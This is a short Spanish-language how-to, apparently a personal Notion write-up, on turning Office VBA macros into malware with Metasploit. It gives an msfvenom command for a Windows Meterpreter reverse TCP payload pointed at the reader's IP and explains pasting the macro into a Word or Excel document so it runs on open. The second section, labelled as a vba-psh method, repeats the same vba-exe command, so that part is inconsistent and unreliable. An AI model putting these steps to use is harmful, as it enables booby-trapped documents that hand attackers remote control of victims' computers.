~/write-ups/writeup-3977d93542

Weaponizing VBA Macros with MSF

Imported from Notion: Weaponizing VBA Macros with MSF

target:: Notion MEDIUM date:: 2026.07.10 notion

Payload con msfv​enom

En una máquina Kali, generamos el payload con msfv​enom:

msfv​enom -a x86 --platform windows -p window​s/mete​rprete​r/reve​rse_tc​p LHOST=TU_IP LPORT=4444 -f vba-exe

Cambia TU_IP por tu IP.

Notion image
Notion image

Como indica el output, este payload se divide en dos partes:

  1. La macro: hay que copiarla en el editor de macros del documento de Office. Esta macro se ejecutará al abrir el documento.

  2. Los datos: el volcado hexadecimal que aparece al final de la salida debe añadirse al final del contenido del documento.

warning

Workbook_Open() abre Excel. Document_Open() abre Word.

EDITA EL CÓDIGO PARA USAR WORD.


EL PAYLOAD SE PEGA DIRECTAMENTE EN EL DOCUMENTO.


Otro método: vba-psh

También podemos generar el payload usando vba-psh.

En una máquina Kali, obtenemos el payload con msfv​enom:

msfv​enom -a x86 --platform windows -p window​s/mete​rprete​r/reve​rse_tc​p LHOST=TU_IP LPORT=4444 -f vba-exe

Cambia TU_IP por tu IP.

Notion image
Notion image
warning

Workbook_Open() abre Excel. Document_Open() abre Word.

EDITA EL CÓDIGO PARA USAR WORD.


EL PAYLOAD SE PEGA DIRECTAMENTE EN EL DOCUMENTO.

- EOF -

<< back_to_index